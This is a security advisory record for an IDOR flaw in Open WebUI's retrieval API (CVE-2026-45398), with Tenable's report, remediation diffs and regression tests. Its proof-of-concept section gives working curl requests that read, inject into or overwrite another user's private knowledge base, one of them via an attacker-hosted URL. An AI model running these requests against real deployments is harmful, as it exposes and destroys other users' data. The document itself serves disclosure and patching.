mock_knowledge.user_id = "victim-user-id"
with patch(
"open_webui.routers.retrieval.Knowledges.get_knowledge_by_id",
return_value=mock_knowledge,
), patch(
"open_webui.routers.retrieval.AccessGrants.has_access",
return_value=False,
):
with pytest.raises(HTTPException) as exc_info:
_validate_collection_access(
[victim_kb_id], attacker, permission="write"
)
assert exc_info.value.status_code == 403
For additional coverage, maintainers may want an integration test that creates a knowledge base as one user and confirms that a second user's retrieval query is rejected end-to-end.
AI Disclosure
AI assistance was used to help analyze the code paths, develop the PoC workflow, and draft this report.
Attachments
open-webui-idor-poc.log open-webui-idor-poc.sh
Tenable's Disclosure Policy
Tenable follows a 90-day vulnerability disclosure policy. That means, even though we prefer coordinated disclosure, we'll issue an advisory on June 24, 2026 with or without a patch. Alternatively, any uncoordinated vendor release of a patch or advisory to any customers before the 90-day deadline will be considered public disclosure, and Tenable may release an advisory prior to the coordinated disclosure date. Please read the full details of our policy here: https://static.tenable.com/research/tenable-vulnerability-disclosure-policy.pdf
Thank you for taking the time to read this. We'd greatly appreciate it if you'd acknowledge receipt of this report. If you have any questions we'd be happy to address them.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45398"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:26:42Z",
"nvd_published_at": "2026-05-15T21:16:37Z",
"severity": "HIGH"
},
"details": "# IDOR: Retrieval API Bypasses Knowledge Base Access Controls\n\n**Author:** Andrew Orr \u003caorr@tenable.com\u003e\n\n## Summary\n\n`_validate_collection_access()` ([PR #22109](https://github.com/open-webui/open-webui/pull/22109)) checks the `user-memory-*` and `file-*` collection name prefixes but does not check knowledge base collections, which use raw UUIDs as collection names. Any authenticated user who knows a private knowledge base UUID can read its content through the retrieval query endpoints, even though the knowledge API correctly denies that user access. The same gap affects the retrieval write endpoints (`/process/text`, `/process/file`, `/process/files/batch`, `/process/web`, `/process/youtube`), allowing an attacker to inject content into or overwrite another user\u0027s knowledge base.\n\nReproduced on `main` at commit `4d058a125` (v0.8.11) on March 26, 2026.\n\n## Severity\n\n- CWE-639: Authorization Bypass Through User-Controlled Key\n- CVSS 3.1: `7.5 (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)` -- `AC:H` because exploitation requires knowing a target UUID; `I:H` and `A:H` because the write path allows poisoning or destruction of another user\u0027s knowledge base\n\n## Default Configuration Reachability\n\nReachable in default configuration. All affected endpoints require only `get_verified_user`, not `get_admin_user`, so any non-admin account in a typical multi-user deployment can reach them. The only prerequisite beyond authentication is knowledge of a target knowledge base UUID, which is reflected in the `AC:H` score. However, KB UUIDs are stable identifiers that leak through normal usage rather than secrets (see Prerequisites below).\n\n## Root Cause\n\nKnowledge base embeddings are stored in vector DB collections named with the knowledge base\u0027s UUID (e.g., `550e8400-e29b-41d4-a716-446655440000`). The `_validate_collection_access` function only blocks two specific prefixes:\n\n```python\n# backend/open_webui/routers/retrieval.py lines 2330-2355\ndef _validate_collection_access(collection_names: list[str], user) -\u003e None:\n if user.role == \"admin\":\n return\n\n for name in collection_names:\n if name.startswith(\"user-memory-\") and name != f\"user-memory-{user.id}\":\n raise HTTPException(\n status_code=status.HTTP_403_FORBIDDEN,\n detail=ERROR_MESSAGES.ACCESS_PROHIBITED,\n )\n elif name.startswith(\"file-\"):\n file_id = name[len(\"file-\"):]\n if not has_access_to_file(\n file_id=file_id,\n access_type=\"read\",\n user=user,\n ):\n raise HTTPException(\n status_code=status.HTTP_403_FORBIDDEN,\n detail=ERROR_MESSAGES.ACCESS_PROHIBITED,\n )\n # No else clause -- knowledge base UUIDs pass through unchecked\n```\n\nKnowledge base UUIDs do not match either prefix, so the function returns without raising an exception. The query then executes against the vector DB with no further authorization check.\n\n## Vulnerable Endpoints\n\n### Read Endpoints\n\nBoth retrieval query endpoints accept a collection name and call `_validate_collection_access` as their sole authorization gate:\n\n1. `POST /api/v1/retrieval/query/doc` (line 2367) -- single `collection_name`\n2. `POST /api/v1/retrieval/query/collection` (line 2432) -- list of `collection_names`\n\n### Write Endpoints\n\nThe following endpoints accept a `collection_name` parameter and write to the target collection without checking whether the caller owns it:\n\n3. `POST /api/v1/retrieval/process/text` (line 1777) -- appends attacker-controlled content to the target collection\n4. `POST /api/v1/retrieval/process/file` (line 1528) -- validates ownership of the uploaded file but not the destination collection\n5. `POST /api/v1/retrieval/process/files/batch` (line 2578) -- same as above for multiple files\n6. `POST /api/v1/retrieval/process/web` and `POST /api/v1/retrieval/process/youtube` (lines 1810-1811) -- same handler; `overwrite` defaults to `true`, so targeting an existing knowledge base deletes and replaces it\n\n| Endpoint | Read | Write | Overwrite | Access Check |\n|----------|------|-------|-----------|--------------|\n| /query/doc | Yes | -- | -- | Prefix-only (bypassed) |\n| /query/collection | Yes | -- | -- | Prefix-only (bypassed) |\n| /process/text | -- | Yes | -- | None |\n| /process/web | -- | Yes | Yes (default) | None |\n| /process/youtube | -- | Yes | Yes (default) | None (same handler as /process/web) |\n| /process/file | -- | Yes | -- | File only, not collection |\n| /process/files/batch | -- | Yes | -- | File only, not collection |\n\n## Proof of Concept\n\n**Security boundary crossed:** The knowledge base access control system (ownership checks, group-based access grants) is bypassed at the retrieval layer. A non-admin user who knows a private knowledge base UUID can read it, append attacker-controlled content to it, or destroy and replace it through the retrieval API, even though the knowledge API correctly denies the same user access to the same resource.\n\n`open-webui-idor-poc.sh` provides a self-contained Docker lab that stands up the target environment and tests every vulnerable endpoint listed above. See the comments at the top of that file for setup, usage, and configuration options.\n\n### Prerequisites\n\n- Attacker has an authenticated (non-pending) account on the target instance.\n- A victim user has created a private knowledge base containing sensitive documents.\n- Attacker knows the victim\u0027s knowledge base UUID. V4 UUIDs are not guessable, but they are stable identifiers that leak through normal platform usage:\n - **Access revocation:** A user learns a KB UUID through a shared workspace or group, loses access, and finds the retrieval API still honors the stale UUID. The knowledge API correctly revokes access at request time (`access_grants.py:549-558` dynamically queries current group memberships), but the retrieval API has no equivalent check.\n - **Model metadata:** When a model is shared with a group, `GET /api/models/list` returns the full `meta.knowledge` array -- including KB UUIDs -- to every user with access to the model, even if they have no access to the referenced knowledge bases (`models.py:58-130`).\n - **URL leakage:** KB UUIDs appear in browser URLs (`/workspace/knowledge/{id}`, `Knowledge.svelte:260`) and can leak through shared links, browser history, Referrer headers, or proxy logs.\n - **RAG citation metadata:** KB UUIDs are stored as `source.id` in chat message sources (`middleware.py:1950-1965`, `socket/main.py:880-897`). Shared chats return these sources unfiltered (`chats.py:815-830`).\n\n### Read: Extract Private KB Content\n\nAuthenticate as the attacker:\n\n```bash\nTOKEN=$(curl -s -X POST https://open-webui/api/v1/auths/signin \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"email\": \"attacker@example.com\", \"password\": \"password\"}\u0027 \\\n | jq -r \u0027.token\u0027)\n```\n\n**Control request:** the knowledge API correctly blocks the attacker:\n\n```bash\ncurl -s https://open-webui/api/v1/knowledge/\u003cvictim_kb_uuid\u003e \\\n -H \"Authorization: Bearer $TOKEN\"\n```\n\n```json\n{\"detail\": \"You do not have permission to access this resource.\"}\n```\n\n**Exploit request:** the retrieval API returns the same KB\u0027s content without authorization:\n\n```bash\ncurl -s -X POST https://open-webui/api/v1/retrieval/query/doc \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"collection_name\": \"\u003cvictim_kb_uuid\u003e\",\n \"query\": \"confidential\",\n \"k\": 50\n }\u0027\n```\n\nExpected result when vulnerable: the server returns matching document chunks from the victim\u0027s private knowledge base, including text content and metadata (source filenames, file IDs, hashes).\n\nThe `/query/collection` endpoint accepts a list of collection names and behaves identically:\n\n```bash\ncurl -s -X POST https://open-webui/api/v1/retrieval/query/collection \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"collection_names\": [\"\u003cvictim_kb_uuid\u003e\"],\n \"query\": \"confidential\",\n \"k\": 50\n }\u0027\n```\n\n### Write: File Injection via /process/file\n\nThe `/process/file` endpoint validates that the attacker owns the uploaded file but does not validate the target `collection_name`. The attacker uploads a file under their own account, then processes it into the victim\u0027s collection:\n\n```bash\n# Upload attacker\u0027s file\nFILE_ID=$(curl -s -X POST https://open-webui/api/v1/files/ \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -F \"file=@payload.txt;type=text/plain\" \\\n | jq -r \u0027.id\u0027)\n\n# Process it into the victim\u0027s KB collection\ncurl -s -X POST https://open-webui/api/v1/retrieval/process/file \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"file_id\\\": \\\"$FILE_ID\\\",\n \\\"collection_name\\\": \\\"\u003cvictim_kb_uuid\u003e\\\"\n }\"\n```\n\n### Write: Batch File Injection via /process/files/batch\n\nSame pattern as above but accepts multiple files in a single request:\n\n```bash\n# Get the full file object for the attacker\u0027s uploaded file\nFILE_OBJ=$(curl -s https://open-webui/api/v1/files/$FILE_ID \\\n -H \"Authorization: Bearer $TOKEN\")\n\n# Batch-process into the victim\u0027s KB collection\ncurl -s -X POST https://open-webui/api/v1/retrieval/process/files/batch \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"files\\\": [$FILE_OBJ],\n \\\"collection_name\\\": \\\"\u003cvictim_kb_uuid\u003e\\\"\n }\"\n```\n\n### Write: Text Injection via /process/text\n\n`/process/text` appends attacker-controlled content to an existing knowledge base collection:\n\n```bash\ncurl -s -X POST https://open-webui/api/v1/retrieval/process/text \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"name\": \"injected.txt\",\n \"content\": \"INJECTED BY ATTACKER: attacker-controlled content\",\n \"collection_name\": \"\u003cvictim_kb_uuid\u003e\"\n }\u0027\n```\n\nThe PoC then verifies that the injected text is returned by a follow-up query against the victim collection.\n\n### Write: YouTube Transcript Replacement via /process/youtube\n\n`/process/youtube` uses the same handler as `/process/web` with the same `overwrite=true` default. This request replaces the victim\u0027s collection with the fetched transcript:\n\n```bash\ncurl -s -X POST https://open-webui/api/v1/retrieval/process/youtube \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"url\": \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\",\n \"collection_name\": \"\u003cvictim_kb_uuid\u003e\"\n }\u0027\n```\n\n### Write: Data Destruction via /process/web\n\n`/process/web` defaults to `overwrite=true`, which deletes the existing collection before writing. The explicit query string below makes the destructive behavior obvious:\n\n```bash\ncurl -s -X POST \"https://open-webui/api/v1/retrieval/process/web?overwrite=true\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"url\": \"https://attacker.com/payload.html\",\n \"collection_name\": \"\u003cvictim_kb_uuid\u003e\"\n }\u0027\n```\n\n## Impact\n\n- **Confidentiality**: Any authenticated user can read private knowledge base contents belonging to other users on the instance.\n- **Integrity**: Attacker-controlled content can be injected into another user\u0027s knowledge base, poisoning downstream RAG results. Injected prompt-injection payloads would be passed to the model when the victim queries the knowledge base.\n- **Availability**: `/process/web` and `/process/youtube` default to `overwrite=true`, letting an attacker delete and replace a victim\u0027s entire knowledge base in a single request.\n\n## Remediation\n\nTwo changes are needed:\n\n1. Add a `permission` parameter to `_validate_collection_access`, use it for both `file-*` and knowledge base checks, and add a knowledge base ownership/access check for collection names that do not match the existing prefixes. `AccessGrants.has_access` already resolves group memberships internally when `user_group_ids` is omitted, matching the pattern used throughout `knowledge.py`.\n\n2. The affected write endpoints must call `_validate_collection_access` with `permission=\"write\"` before operating on the provided `collection_name`.\n\n```diff\n--- a/backend/open_webui/routers/retrieval.py\n+++ b/backend/open_webui/routers/retrieval.py\n@@ -39,4 +39,5 @@\n from open_webui.models.files import FileModel, FileUpdateForm, Files\n from open_webui.utils.access_control.files import has_access_to_file\n from open_webui.models.knowledge import Knowledges\n+from open_webui.models.access_grants import AccessGrants\n from open_webui.storage.provider import Storage\n\n@@ -2330,26 +2331,39 @@\n-def _validate_collection_access(collection_names: list[str], user) -\u003e None:\n+def _validate_collection_access(collection_names: list[str], user, permission: str = \"read\") -\u003e None:\n if user.role == \"admin\":\n return\n\n for name in collection_names:\n if name.startswith(\"user-memory-\") and name != f\"user-memory-{user.id}\":\n raise HTTPException(\n status_code=status.HTTP_403_FORBIDDEN,\n detail=ERROR_MESSAGES.ACCESS_PROHIBITED,\n )\n elif name.startswith(\"file-\"):\n file_id = name[len(\"file-\"):]\n- if not has_access_to_file(\n- file_id=file_id,\n- access_type=\"read\",\n- user=user,\n- ):\n+ if not has_access_to_file(\n+ file_id=file_id,\n+ access_type=permission,\n+ user=user,\n+ ):\n raise HTTPException(\n status_code=status.HTTP_403_FORBIDDEN,\n detail=ERROR_MESSAGES.ACCESS_PROHIBITED,\n )\n+ else:\n+ knowledge = Knowledges.get_knowledge_by_id(id=name)\n+ if knowledge and knowledge.user_id != user.id:\n+ if not AccessGrants.has_access(\n+ user_id=user.id,\n+ resource_type=\"knowledge\",\n+ resource_id=name,\n+ permission=permission,\n+ ):\n+ raise HTTPException(\n+ status_code=status.HTTP_403_FORBIDDEN,\n+ detail=ERROR_MESSAGES.ACCESS_PROHIBITED,\n+ )\n```\n\nThe existing read callers (`/query/doc`, `/query/collection`) use the default `permission=\"read\"` and require no change. Each affected write endpoint needs a validation call after `collection_name` is resolved:\n\n`/process/text` (line 1777):\n\n```diff\n@@ -1783,5 +1783,6 @@\n collection_name = form_data.collection_name\n if collection_name is None:\n collection_name = calculate_sha256_string(form_data.content)\n+ _validate_collection_access([collection_name], user, permission=\"write\")\n\n docs = [\n```\n\n`/process/web` and `/process/youtube` (lines 1810-1811, same handler):\n\n```diff\n@@ -1824,5 +1824,6 @@\n collection_name = form_data.collection_name\n if not collection_name:\n collection_name = calculate_sha256_string(form_data.url)[:63]\n+ _validate_collection_access([collection_name], user, permission=\"write\")\n\n if not request.app.state.config.BYPASS_WEB_SEARCH_EMBEDDING_AND_RETRIEVAL:\n```\n\n`/process/file` (line 1528):\n\n```diff\n@@ -1548,6 +1548,7 @@\n collection_name = form_data.collection_name\n if collection_name is None:\n collection_name = f\"file-{file.id}\"\n+ _validate_collection_access([collection_name], user, permission=\"write\")\n\n if form_data.content:\n```\n\n`/process/files/batch` (line 2578):\n\n```diff\n@@ -2593,3 +2593,4 @@\n collection_name = form_data.collection_name\n+ _validate_collection_access([collection_name], user, permission=\"write\")\n\n file_results: List[BatchProcessFilesResult] = []\n```\n\n## Regression Test\n\nA regression test should verify that `_validate_collection_access` blocks non-owners from accessing knowledge base collections:\n\n```python\nfrom unittest.mock import MagicMock, patch\n\nimport pytest\nfrom fastapi import HTTPException\n\nfrom open_webui.routers.retrieval import _validate_collection_access\n\n\ndef test_validate_collection_access_blocks_non_owner_read():\n victim_kb_id = \"550e8400-e29b-41d4-a716-446655440000\"\n attacker = MagicMock()\n attacker.id = \"attacker-user-id\"\n attacker.role = \"user\"\n\n mock_knowledge = MagicMock()\n mock_knowledge.user_id = \"victim-user-id\"\n\n with patch(\n \"open_webui.routers.retrieval.Knowledges.get_knowledge_by_id\",\n return_value=mock_knowledge,\n ), patch(\n \"open_webui.routers.retrieval.AccessGrants.has_access\",\n return_value=False,\n ):\n with pytest.raises(HTTPException) as exc_info:\n _validate_collection_access([victim_kb_id], attacker)\n assert exc_info.value.status_code == 403\n\n\ndef test_validate_collection_access_blocks_non_owner_write():\n victim_kb_id = \"550e8400-e29b-41d4-a716-446655440000\"\n attacker = MagicMock()\n attacker.id = \"attacker-user-id\"\n attacker.role = \"user\"\n\n mock_knowledge = MagicMock()\n mock_knowledge.user_id = \"victim-user-id\"\n\n with patch(\n \"open_webui.routers.retrieval.Knowledges.get_knowledge_by_id\",\n return_value=mock_knowledge,\n ), patch(\n \"open_webui.routers.retrieval.AccessGrants.has_access\",\n return_value=False,\n ):\n with pytest.raises(HTTPException) as exc_info:\n _validate_collection_access(\n [victim_kb_id], attacker, permission=\"write\"\n )\n assert exc_info.value.status_code == 403\n```\n\nFor additional coverage, maintainers may want an integration test that creates a knowledge base as one user and confirms that a second user\u0027s retrieval query is rejected end-to-end.\n\n## AI Disclosure\n\nAI assistance was used to help analyze the code paths, develop the PoC workflow, and draft this report.\n\n## Attachments\n\n[open-webui-idor-poc.log](https://github.com/user-attachments/files/26283199/open-webui-idor-poc.log)\n[open-webui-idor-poc.sh](https://github.com/user-attachments/files/26283201/open-webui-idor-poc.sh)\n\n## Tenable\u0027s Disclosure Policy\n\nTenable follows a 90-day vulnerability disclosure policy. That means, even though we prefer coordinated disclosure, we\u0027ll issue an advisory on June 24, 2026 with or without a patch. Alternatively, any uncoordinated vendor release of a patch or advisory to any customers before the 90-day deadline will be considered public disclosure, and Tenable may release an advisory prior to the coordinated disclosure date. Please read the full details of our policy here: https://static.tenable.com/research/tenable-vulnerability-disclosure-policy.pdf\n \nThank you for taking the time to read this. We\u0027d greatly appreciate it if you\u0027d acknowledge receipt of this report. If you have any questions we\u0027d be happy to address them.",
"id": "GHSA-4g37-7p2c-38r9",
"modified": "2026-05-15T23:55:24Z",
"published": "2026-05-14T20:26:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4g37-7p2c-38r9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45398"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/pull/22109"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI Vulnerable to IDOR: Retrieval API Bypasses Knowledge Base Access Controls"
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.